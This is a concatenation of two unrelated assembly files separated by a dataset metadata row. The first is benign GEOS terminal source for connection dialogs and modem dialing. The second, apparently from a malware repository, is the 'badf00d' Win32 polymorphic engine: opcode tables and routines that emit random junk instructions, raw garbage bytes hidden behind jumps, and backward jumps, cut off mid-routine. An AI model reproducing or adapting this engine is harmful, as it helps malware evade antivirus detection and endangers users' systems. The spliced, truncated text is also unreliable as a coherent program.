DESTROYED: ax, bx, cx, di, si, ds, es, bp
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
simon 7/ 3/95 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
TermMakeConnectionInit proc near
.enter
EC < Assert_dgroup ds >
;
; Default first response type
;
NTELT < mov ds:[responseType], TMRT_OK >
if _TELNET
;
; If we are launched via IACP, we can use the preset accpnt
;
BitTest ds:[statusFlags], TSF_LAUNCHED_BY_IACP
jz getAccpntFromList
mov cx, ds:[settingsConnection]
EC < cmp cx, ACCESS_POINT_INVALID_ID >
EC < ERROR_E TERM_ERROR >
jmp updateFromAccpnt
getAccpntFromList:
endif ; _TELNET
;
; Get the item (ID) selected
;
GetResourceHandleNS ConnectionsGroupList, bx
mov si, offset ConnectionsGroupList
mov di, mask MF_CALL
mov ax, MSG_ACCESS_POINT_CONTROL_GET_SELECTION
call ObjMessage ; ax <- selection ID, di destroyed
;
; Initialize internal variables
;
mov cx, ax ; cx <- selection ID
mov ds:[settingsConnection], ax
updateFromAccpnt::
call TermUpdateFromAccessPoint
;
; Initiate connection dialog
;
call InitiateConnectionIndicator
if _TELNET
;
; Clear the flag status flags: no TSF_USER_CANCEL_CONNECTION and no
; TSF_IGNORE_USER_CONNECTION_CANCEL
;
andnf ds:[statusFlags], not (mask \
TSF_USER_CANCEL_CONNECTION or mask \
TSF_IGNORE_USER_CONNECTION_CANCEL)
;
; Check if we have valid internet access point
;
mov ax, ds:[remoteExtAddr].APESACA_accessPoint
call AccessPointIsEntryValid
; carry set if invalid
else
;
; Check if com port is open. If not, open it
;
EC < cmp ds:[serialPort], NO_PORT >
EC < ERROR_NE TERM_SERIAL_PORT_SHOULD_NOT_BE_OPEN >
mov cx, SERIAL_COM1 ; Responder default com port
call OpenPort ; cx = 0 if com port no opened
; ax,bx,dx,si,di destroyed
stc ; default is com port can't be opened
jcxz done
;
; Reset any necessary status flags
;
RSP < mov ds:[eciStatus], TECIS_NO_CONNECTION >
RSP < clr ds:[dataCallID] >
;
; Clear blacklist for Responder
;
RSP < call TermClearBlacklist >
;
; Restore previous state and parameters
;
call RestoreState
clc ; No problem opening com port
endif ; _TELNET
done::
.leave
ret
TermMakeConnectionInit endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
TermResetForConnect
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Reset terminal screen, clearing screen first, if needed.
(Telnet: Also reset disconnection indicator dialog text.)
CALLED BY: (INTERNAL) TermMakeConnection
PASS: ds = dgroup
RETURN: carry set if insufficient memory (if _CLEAR_SCR_BUF)
else carry clear
DESTROYED: ax, bx, cx, dx, bp
PSEUDO CODE/STRATEGY:
This code used to be at the end of TermMakeConnectionInit.
Moved to a separate routine so the error returned by
MSG_SCR_CLEAR_SCREEN_AND_SCROLL_BUF can be processed.
REVISION HISTORY:
Name Date Description
---- ---- -----------
jwu 2/ 8/96 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
TermResetForConnect proc near
if _CLEAR_SCR_BUF
;
; Clear screen before making each connection.
;
Assert_dgroup ds
mov ax, MSG_SCR_CLEAR_SCREEN_AND_SCROLL_BUF
mov bx, ds:[termuiHandle]
CallScreenObj
jc exit
endif ; _CLEAR_SCR_BUF
;
; Reset terminal.
;
mov ax, MSG_SCR_RESET_VT
CallScreenObj
;
; For Telnet, local echo os turned on by default.
;
TELT < mov ds:[halfDuplex], TRUE >
;
; Reset the text in DisconnectionIndicatorDialog
;
TELT < mov bp, offset disconnectText >
; bp <- chunk of text
TELT < call TelnetSetDisconnectDialogText >
clc
exit::
ret
TermResetForConnect endp
if not _TELNET
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
QuickDial
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Dial the phone number
CALLED BY: (INTERNAL) TermMakeConnection
PASS: nothing
RETURN: carry set if connection error
DESTROYED: nothing
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
* The code is mostly copied from TermQuickDial.
if (there is text inside) {
Bring up connection dialog box;
Send out dial prefix;
if (dial tone) {
Send dial tone character;
} else {
Send dial pulse character;
}
Get the phone number from text object and send it;
Take down connection dialog box;
}
REVISION HISTORY:
Name Date Description
---- ---- -----------
simon 6/15/95 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
QuickDial proc near
uses ax, bx, cx, dx, si, di, ds, es
.enter
GetResourceSegmentNS dgroup, ds
BitSet ds:[statusFlags], TSF_WAIT_FOR_DIAL_RESPONSE
;
; Send out phone number
;
GetResourceHandleNS ConnectionPhoneText, bx
mov si, offset ConnectionPhoneText
mov al, 1 ; send dial command
call SendTextObjStrings ; carry set if error
; al <- 0 if connection err
; al <- 1 if no text
jc error
;
; Check response. If user cancel while we are dialing and wait for
; response, we want to keep TSF_WAIT_FOR_DIAL_RESPONSE so that we
; know later than we should send ECI_CALL_RELEASE besides ATH.
;
cmp ds:[responseType], TMRT_USER_CANCEL
je done ; carry clear
BitClr ds:[statusFlags], TSF_WAIT_FOR_DIAL_RESPONSE
; carry clear
jmp done
error:
mov ds:[systemErr], FALSE ; indicate error
done:
.leave
ret
QuickDial endp
endif ; !_TELNET
if _MODEM_STATUS
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
InitiateConnectionIndicator
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Initiate the connection indicator
CALLED BY: (INTERNAL) TermMakeConnectionInit
PASS: nothing
RETURN: nothing
DESTROYED: nothing
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
simon 7/ 2/95 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
InitiateConnectionIndicator proc near
uses ax, bx, cx, dx, di, si, es, ds, bp
.enter
;
; Construct connection indicator text
;
TELT < call InitiateConnectionIndicatorMakeStatusText >
; ax,bx,cx,dx,si,di destroyed
call InitiateConnectionIndicatorMakeDescText
; everything destroyed
;
; Bring up the dialog
;
GetResourceHandleNS ConnectionIndicatorDialog, bx
mov si, offset ConnectionIndicatorDialog
; ^lcx:dx <- dialog
mov di, mask MF_CALL
mov ax, MSG_GEN_INTERACTION_INITIATE
call ObjMessage ; ax,cx,dx,bp destroyed
done:
.leave
ret
InitiateConnectionIndicator endp
if _TELNET
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
InitiateConnectionIndicatorMakeStatusText
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Construct the initial status text of connection indicator
CALLED BY: (INTERNAL) InitiateConnectionIndicator
PASS: nothing
RETURN: nothing
DESTROYED: ax, bx, cx, dx, si, di
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
Set the initial status message to nothing;
REVISION HISTORY:
Name Date Description
---- ---- -----------
simon 11/30/95 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
InitiateConnectionIndicatorMakeStatusText proc near
nullText local TCHAR
.enter
;
; Initialize the empty text so that old text will not show up
; first. Here we put a NULL byte as the 1st byte
;
clr ss:[nullText] ; null byte
mov cx, ss
lea dx, ss:[nullText]
;
; Set status text
;
push bp
GetResourceHandleNS ConnectionIndicatorDialog, bx
mov si, offset ConnectionIndicatorDialog
mov ax, MSG_FOAM_PROGRESS_DIALOG_SET_STATUS_TEXT
mov di, mask MF_CALL
call ObjMessage ; ax,cx,dx,bp destroyed
pop bp
.leave
ret
InitiateConnectionIndicatorMakeStatusText endp
endif ; _TELNET
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
InitiateConnectionIndicatorMakeDescText
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Construct the description text of connection indicator
CALLED BY: (INTERNAL) InitiateConnectionIndicator
PASS: nothing
RETURN: nothing
DESTROYED: ax, bx, cx, dx, bp, si, di, ds, es
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
Set 1st part of the description text to connection indicator dialog;
Get the connection name text;
if (no connection name text) {
use default name text;
}
Append connection name text to description text;
Clean up;
REVISION HISTORY:
Name Date Description
---- ---- -----------
simon 11/19/95 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
InitiateConnectionIndicatorMakeDescText proc near
.enter
;
; Set 1st part of description text of dialog "Making connection to.."
;
GetResourceHandleNS ConnectionIndicatorDialog, bx
mov si, offset ConnectionIndicatorDialog
mov ax, MSG_FOAM_PROGRESS_DIALOG_SET_DESCRIPTION_TEXT_OPTR
GetResourceHandleNS indicatorText, cx
mov dx, offset indicatorText
mov di, mask MF_CALL
call ObjMessage ; ax,cx,dx,bp destroyed
;
; Get the connection name
;
call GetCurrentAccessPointConnectName
; carry set if error
; cx <-#chars
; ^hbx <- name block
;
; It can't fail since there must a selection before a connerction is
; made.
;
jc done
jcxz cleanNameBlock ; no connect name
push bx ; save connect name text block
call MemLock
mov_tr cx, ax
clr dx ; cx:dx <- connection name
;
; Append connection name to description text
;
EC < Assert_nullTerminatedAscii cxdx >
GetResourceHandleNS ConnectionIndicatorDialog, bx
mov si, offset ConnectionIndicatorDialog
mov ax, MSG_FOAM_PROGRESS_DIALOG_APPEND_DESCRIPTION_TEXT
mov di, mask MF_CALL
call ObjMessage ; ax,cx,dx,bp,di destroyed
pop bx ; bx <- name block
cleanNameBlock:
call MemFree ; free name block
done:
.leave
ret
InitiateConnectionIndicatorMakeDescText endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
DestroyConnectionIndicator
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Destroy connection indicator
CALLED BY: (INTERNAL) TermMakeConnection
PASS: nothing
RETURN: nothing
DESTROYED: nothing
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
simon 7/ 2/95 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
DestroyConnectionIndicator proc near
uses ax, bx, cx, dx, di, si, es, ds, bp
.enter
if _TELNET
;
; In Telnet, it is possible that the user is cancelling
; connection, thus having a Connection cancelling dialog . So, we
; have to make sure to close it as well.
;
GetResourceSegmentNS dgroup, es
PSem es, closeSem, TRASH_AX_BX
;
; Set the flag so that no connection cancellation dialog will be put
; up.
;
BitSet es:[statusFlags], TSF_IGNORE_USER_CONNECTION_CANCEL
GetResourceHandleNS CancelConnectionDialog, bx
mov si, offset CancelConnectionDialog
mov di, mask MF_FORCE_QUEUE
mov ax, MSG_GEN_GUP_INTERACTION_COMMAND
mov cx, IC_DISMISS
call ObjMessage ; ax,cx,dx,bp destroyed
endif ; _TELNET
GetResourceHandleNS ConnectionIndicatorDialog, bx
mov si, offset ConnectionIndicatorDialog
mov di, mask MF_FORCE_QUEUE
mov ax, MSG_GEN_GUP_INTERACTION_COMMAND
mov cx, IC_DISMISS
call ObjMessage ; ax,cx,dx,bp destroyed
TELT < VSem es, closeSem, TRASH_AX_BX >
.leave
ret
DestroyConnectionIndicator endp
endif ; if _MODEM_STATUS
if not _TELNET
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SendTextObjStrings
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Send the text in a text obj text and a CR char to serial line
CALLED BY: (INTERNAL) QuickDial, TermMakeConnection
PASS: ^lbx:si = text object containing the string to send
al = 0: send custom modem command
1: send dial command
RETURN: carry set if error
al = 0 if connection error
al = 1 if text object has no string
DESTROYED: nothing
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
Get the string block from text object;
if (there is text inside) {
Lock down string block;
Send the text inside to serial line;
if (no connection error) {
Send CR char;
}
}
Free up string block;
REVISION HISTORY:
Name Date Description
---- ---- -----------
simon 6/15/95 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SendTextObjStrings proc near
uses bx, cx, dx, ds, es, si, di
.enter
EC < Assert_objectOD bxsi, UnderlinedGenTextClass >
EC < Assert_inList al, <0, 1> >
push ax
;
; Get the string block from text object
;
clr dx ; alloc new block
mov ax, MSG_VIS_TEXT_GET_ALL_BLOCK
mov di, mask MF_CALL
call ObjMessage ; cx <- block handle
; ax <- string len excluding NULL
; di destroyed
;
; Exit if no string in there
;
mov bx, cx ; bx <- block handle
mov_tr cx, ax ; cx <- text length
pop dx ; dx <- dial/custom command
stc ; default is error
jcxz emptyTextErr
;
; Lock down the string block and send it out
;
EC < tst ch >
EC < ERROR_NZ TERM_DATAREC_MODEM_INIT_STRING_TOO_LONG >
push bx ; save string block hptr
call MemLock ; ax <- sptr of string block
xchg dx, ax ; ax <- dial/custom command
clr bp ; dxbp <- fptr to string
GetResourceSegmentNS dgroup, es
tst al ; custom or dial command?
jz customCommand
clr ch ; long timeout
mov ax, MSG_SERIAL_SEND_DIAL_MODEM_COMMAND
jmp waitForResponse
customCommand:
mov ch, 1 ; short timeout
mov ax, MSG_SERIAL_SEND_CUSTOM_MODEM_COMMAND
waitForResponse:
call TermWaitForModemResponse
; carry set if error
mov al, 0 ; default is connection error
pop bx ; ^hbx <- text block to free
freeTextBlock:
;
; Delete the string block
;
pushf ; restore flag
call MemFree ; bx destroyed
popf ; restore flag
.leave
ret
emptyTextErr:
mov al, 1 ; no text error
jmp freeTextBlock
SendTextObjStrings endp
if _MODEM_STATUS
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
TermMakeConnectionExit
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: common clean up code for TermMakeConnection
CALLED BY: (INTERNAL) TermMakeConnection,
TermSendEciCallReleaseAfterCancel
PASS: carry set = error exiting
carry clear = no error exiting
RETURN: nothing
DESTROYED: all (including es,ds)
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
Call MSG_SERIAL_CHECK_MODEM_STATUS_END;
if (no error) {
Allow serial to block;
}
REVISION HISTORY:
Name Date Description
---- ---- -----------
simon 6/16/96 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
TermMakeConnectionExit proc far
.enter
pushf
GetResourceSegmentNS dgroup, es, TRASH_BX
segmov ds, es, ax
mov ax, MSG_SERIAL_CHECK_MODEM_STATUS_END
CallSerialThread
popf
;
; We're done calling the serial thread now. If no errors,
; let the serial thread start calling us, until we request
; otherwise.
;
jc done
call TermAllowSerialToBlock
done:
.leave
ret
TermMakeConnectionExit endp
endif ; _MODEM_STATUS
endif ; !_TELNET
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
TermDoConnectionEnum
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Enumerate an operation on a group of connection objects
CALLED BY: (INTERNAL) TermSaveConnection, TermUpdateFromAccessPoint
PASS: ax = access point ID
bx = hptr to resource of ConnectionObjTable objects
si = nptr to ConnectionObjTable entry to begin
di = nptr to ConnectionAPSPTable entry to begin
cx = # items to enumerate
bp = nptr to routine to call
This routine takes:
^lbx:si = UI object
dx = AccessPointStandardProperty
ax = access point ID
RETURN: si = nptr to ConnectionObjTable entry past the last
processed entry
di = nptr to ConnectionAPSPTable entry past the last
processed entry
DESTROYED: cx
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
while (item count-- > 0) {
Get current UI object;
Get current AccessPointStandardProperty;
Call passed in routine;
Update indices to ConnectionObjTable and ConnectionAPSPTable
}
REVISION HISTORY:
Name Date Description
---- ---- -----------
simon 6/18/95 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
TermDoConnectionEnum proc near
uses dx
.enter
EC < Assert_handle bx >
EC < Assert_nptr si, cs >
EC < Assert_nptr di, cs >
EC < Assert_nptr bp, cs >
EC < push ax, si, di, dx >
EC < mov ax, 2 >
EC < mul cx >
EC < add si, ax >
EC < Assert_fptr cssi ; past EOT? >
EC < add di, ax >
EC < Assert_fptr csdi ; past EOT? >
EC < pop ax, si, di, dx >
enumLoop:
push si
mov si, cs:[si] ; si <-lptr to UI obj
mov dx, cs:[di] ; dx <-
; AccessPointStandardProperty
call bp
add di, 2 ; update table index
pop si ; si <- index
add si, 2 ; update table index
loop enumLoop
.leave
ret
TermDoConnectionEnum endp
if not _TELNET
UtilsCode segment resource
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
TermValidatePhone
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Validate a phone number
CALLED BY: (EXTERNAL) TermSaveFocus
PASS: *ds:si - object to validate
RETURN: carry set if invalid
DESTROYED: nothing
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
EW 3/12/96 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
TermValidatePhone proc far
uses ax,bx,cx,dx,si,di,bp,es
.enter
;
; get the phone number
;
clr dx ; alloc a block
mov ax, MSG_VIS_TEXT_GET_ALL_BLOCK
call ObjCallInstanceNoLock ; cx=blk, ax=length
mov bx, cx
mov cx, ax
clc
jcxz done
;
; skip first char
;
dec cx
jz done
mov di, size TCHAR
;
; scan remaining characters for a '+'
;
call MemLock
mov es, ax ; es:di = text
mov ax, C_PLUS
LocalFindChar ; z set if found
clc
jnz done
;
; we found an embedded plus, which isn't allowed
;
push bx ; save temp block
push ds:[LMBH_handle] ; save obj block
clr ax
push ax
push ax ; SDOP_helpContext = 0
push ax
push ax ; SDOP_customTriggers = 0
push ax
push ax ; SDOP_stringArg2 = 0
push ax
push ax ; SDOP_stringArg1 = 0
mov ax, handle invalidPhoneErr
push ax
mov ax, offset invalidPhoneErr
push ax ; SDOP_customString=invalidPhoneErr
mov ax, CustomDialogBoxFlags <0,CDT_ERROR,GIT_NOTIFICATION,0>
push ax
call UserStandardDialogOptr ; ax = response
pop bx ; obj block
call MemDerefDS
pop bx ; temp block
stc
done:
lahf
call MemFree
sahf
.leave
ret
TermValidatePhone endp
UtilsCode ends
endif ; if not _TELNET
endif ; if _ACCESS_POINT
| 26.076727
| 124
| 0.64911
|
c32037475644e6b8b8be0307695655960f22f77f
| 14,790
|
asm
|
Assembly
|
Engines/Win32/badf00d.asm
|
Mingzhi5/MalwareRepository
|
bbda9079fe006adb6cfbb643a6060bc5c16ea4c4
|
[
"MIT"
] | null | null | null |
Engines/Win32/badf00d.asm
|
Mingzhi5/MalwareRepository
|
bbda9079fe006adb6cfbb643a6060bc5c16ea4c4
|
[
"MIT"
] | null | null | null |
Engines/Win32/badf00d.asm
|
Mingzhi5/MalwareRepository
|
bbda9079fe006adb6cfbb643a6060bc5c16ea4c4
|
[
"MIT"
] | 1
|
2021-09-21T16:33:06.000Z
|
2021-09-21T16:33:06.000Z
|
M0_EAX equ 0
M0_ECX equ 1
M0_EDX equ 2
M0_EBX equ 3
M0_ESI equ 4
M0_EDI equ 5
M1_EAX equ 0
M1_ECX equ 1
M1_EDX equ 2
M1_EBX equ 3
M1_ESI equ 6
M1_EDI equ 7
M2_EAX equ 0 shl 3
M2_ECX equ 1 shl 3
M2_EDX equ 2 shl 3
M2_EBX equ 3 shl 3
M2_ESI equ 6 shl 3
M2_EDI equ 7 shl 3
; -------------- MAIN REGISTERS TABLES ----------------------------------------
x1_table: db M1_EAX
db M1_ECX
db M1_EDX
db M1_EBX
db M1_ESI
db M1_EDI
x1_tbl_size = $ - offset x1_table
x2_table: db M2_EAX
db M2_ECX
db M2_EDX
db M2_EBX
db M2_ESI
db M2_EDI
x2_tbl_size = $ - offset x2_table
; -------------- INSTRUCTION TABLES -------------------------------------------
; FORMAT: (1 BYTE) (BYTE) (BYTE) (BYTE)
; <OPCODE> <MODRM> <LEN> <CSET>
;
; if there is no MODRM, MODRM must be set to 2Dh (temp)
NO_M equ 02dh
C_NONE equ 0
C_SRC equ 1
C_DST equ 2
C_BOTH equ 3
allowed_regs: db M0_EAX, M0_ECX, M0_EDX, M0_EBX, M0_ESI, M0_EDI
instr_table: db 0f9h, NO_M, 1h, C_NONE ; stc
db 0EBh, NO_M, 2h, C_NONE ; jmp $+1
db 0c7h, 0c0h, 6h, C_SRC ; mov reg(EAX),NUM
db 08bh, 0c0h, 2h, C_BOTH ; mov reg(EAX),reg(EAX)
db 081h, 0c0h, 6h, C_SRC ; add reg(EAX),NUM
db 003h, 0c0h, 2h, C_BOTH ; add reg(EAX),reg(EAX)
db 081h, 0e8h, 6h, C_SRC ; sub reg(EAX),NUM
db 02bh, 0c0h, 2h, C_BOTH ; sub reg(EAX),reg(EAX)
db 040h, NO_M, 1h, C_SRC ; inc reg(EAX)
db 048h, NO_M, 1h, C_SRC ; dec reg(EAX)
_i_xor_r db 033h, 0c0h, 2h, C_BOTH ; xor reg(EAX),reg(EAX)
db 009h, 0c0h, 2h, C_BOTH ; or reg(EAX),reg(EAX)
db 081h, 0c8h, 6h, C_SRC ; or reg(EAX),NUM
db 03bh, 0c0h, 2h, C_BOTH
db 085h, 0c0h, 2h, C_BOTH
db 01bh, 0c0h, 2h, C_BOTH ; sbb reg(EAX),reg(EAX)
db 011h, 0c0h, 2h, C_BOTH ; adc reg(EAX),reg(EAX)
db 0f7h, 0d0h, 2h, C_SRC ; not reg(EAX)
db 0f7h, 0d8h, 2h, C_SRC ; neg reg(EAX)
db 0d1h, 0f8h, 2h, C_SRC ; sar reg(EAX),1
db 0d1h, 0d8h, 2h, C_SRC ; rcr reg(EAX),1
db 0d1h, 0d0h, 2h, C_SRC ; rcl reg(EAX),1
db 091h, NO_M, 1h, C_SRC ; xchg reg(EAX),reg(ECX)
db 090h, NO_M, 1h, C_NONE ; nop
db 0fch, NO_M, 1h, C_NONE ; cld
db 0f8h, NO_M, 1h, C_NONE ; clc
db 0fdh, NO_M, 1h, C_NONE ; std
db 09bh, NO_M, 1h, C_NONE ; wait
db 050h, NO_M, 1h, C_SRC ; push reg(eax)
_i_pop db 058h, NO_M, 1h, C_SRC ; pop reg(eax) (must be last one)
ENTRY_TABLE_SIZE = 4
instr_table_size = (($-offset instr_table)/4)
dd 0
push_number dd 0
do_push db 1 ; should we process pushs?
O_JMP equ 0EBh
O_PUSH equ 050h
O_POP equ 058h
i_jmp: db 0EBh, NO_M, 2h ; jmp $+1
; -------------- GARBAGE GENERATOR (SAFE) ------------------------------------
; EDI = where
; ----------------------------------------------------------------------------
gen_garbage_i:
pushad
garbage_again:
mov eax,instr_table_size
call random_eax
lea esi,instr_table
mov ecx,ENTRY_TABLE_SIZE
mul ecx ; eax=member from table to use
add esi,eax
jmp garbage_co
garbage_hand: pushad
garbage_co: lodsw ; ah = modrm value / al=opcode
cmp ah,NO_M
je no_modrm
stosb ; store opcode
xor edx,edx
mov dl,ah
cmp byte ptr [esi+1],C_BOTH ; what registers to mutate
je p_01
cmp byte ptr [esi+1],C_SRC
jne t_01
p_01: and dl,0F8h
mov eax,x1_tbl_size
call random_eax
mov al,byte ptr [allowed_regs[eax]]
mov al,byte ptr [x1_table[eax]]
or dl,al
mov byte ptr [edi],dl
t_01: cmp byte ptr [esi+1],C_BOTH ; what registers to mutate
je p_02
cmp byte ptr [esi+1],C_DST
jne finish_i
p_02: and dl,0C7h
mov eax,x2_tbl_size
call random_eax
mov al,byte ptr [allowed_regs[eax]]
mov al,byte ptr [x2_table[eax]]
or dl,al ; update modrm value
mov byte ptr [edi],dl
finish_i: mov cl,byte ptr [esi]
sub cl,2
inc edi
cmp cl,0
jle garbage_done
store_op: mov eax,12345678h
call random_eax
stosb
loop store_op
garbage_done: xor eax,eax
mov al,byte ptr [esi]
mov [esp+PUSHA_STRUCT._EAX],eax
popad
ret
; ----------------------------------------------------
; NO MOD-RMs
; ----------------------------------------------------
no_modrm: xor edx,edx
mov dl,al
cmp byte ptr [esi+1],C_NONE
je t_none
cmp dl,O_PUSH
je t_push
cmp dl,O_POP
je t_pop
go_nomodrm: mov eax,x1_tbl_size
call random_eax
mov al,byte ptr [allowed_regs[eax]]
mov al,byte ptr [x1_table[eax]]
and dl,0F8h
or dl,al
mov byte ptr [edi],dl
inc edi
jmp finish_i
t_none: mov byte ptr [edi],dl
inc edi
cmp dl,O_JMP
jne finish_i
mov byte ptr [edi],0
inc edi
jmp finish_i
t_push: cmp byte ptr [do_push],1
jne garbage_again
inc dword ptr [push_number]
jmp go_nomodrm
t_pop: cmp byte ptr [do_push],1
jne garbage_again
cmp dword ptr [push_number],0
jle garbage_again
dec dword ptr [push_number]
jmp go_nomodrm
t_normalize_pops:
pushad
xor ebx,ebx
mov ecx,dword ptr [push_number]
test ecx,ecx
jz t_opsexit
t_givepops: lea esi,_i_pop
call garbage_hand
add edi,eax
add ebx,eax
loop t_givepops
t_opsexit: mov [esp+PUSHA_STRUCT._EAX],ebx
popad
ret
; ---------------------------------------------------------------------------
; HARDCORE GARBAGER
; ---------------------------------------------------------------------------
; EDI = where to store
;
; This one generates code like this:
; jmp over_garbage
; <totally random generated garbage>
; <normal garbage>
; max: up to 20 "instructions"
; ---------------------------------------------------------------------------
hardcode_garbage_i:
pushad
mov ebx,edi
lea edi,hardcore_temp
mov eax,20
call random_eax
mov ecx,eax
add ecx,4
h_fill: mov eax,2
call random_eax
test eax,eax
jnz h_hard
call gen_garbage_i
jmp h_cont
h_hard: mov eax,5
call random_eax
mov edx,eax
inc edx
xor esi,esi
h_hard_fill: mov eax,0FFFFh
call random_eax
stosb
inc esi
dec edx
jnz h_hard_fill
loop h_fill
jmp h_done
h_cont: add edi,eax
loop h_fill
h_done: lea ecx,hardcore_temp
sub edi,ecx
mov ecx,edi
mov byte ptr [ebx],O_JMP
inc ebx
mov byte ptr [ebx],cl
inc ebx
push ecx
mov edi,ebx
lea esi,hardcore_temp
rep movsb
pop eax
add eax,2
mov [esp+PUSHA_STRUCT._EAX],eax
popad
ret
; -------------------------------------------------------------
; Generates backwards jumps
; -------------------------------------------------------------
; EDI = buffor
gen_bjumps:
pushad
mov ebx,edi
mov byte ptr [jmp_flag],0
mov byte ptr [jmp_flag_b],0
mov dword ptr [count_jmp],0
mov dword ptr [where_where],0
mov dword ptr [jmp_bytes],0
mov byte ptr [do_push],0
mov byte ptr [where_losed],0
mov byte ptr [ebx],O_JMP
mov dword ptr [where_start],ebx
add dword ptr [where_start],2
inc ebx
xor esi,esi
add edi,2
add dword ptr [jmp_bytes],2
gen_gar_i: mov eax,20
call random_eax
mov ecx,eax
add ecx,10
gen_gar_ii: call gen_garbage_i
add dword ptr [jmp_bytes],eax
add esi,eax
add edi,eax
cmp byte ptr [jmp_flag],1
jne gen_gari_ix
add dword ptr [count_jmp],eax
jmp gen_gari_ixx
gen_gari_ix: push eax
mov eax,2
call random_eax
mov edx,eax
pop eax
cmp byte ptr [where_losed],1
je gen_gari_ixx
add dword ptr [where_start],eax
cmp edx,1
je gen_gari_ixx
mov byte ptr [where_losed],1
gen_gari_ixx: mov eax,3
call random_eax
cmp eax,2
jne cont_gari
cmp byte ptr [jmp_flag],1
je cont_gari
mov byte ptr [jmp_flag],1
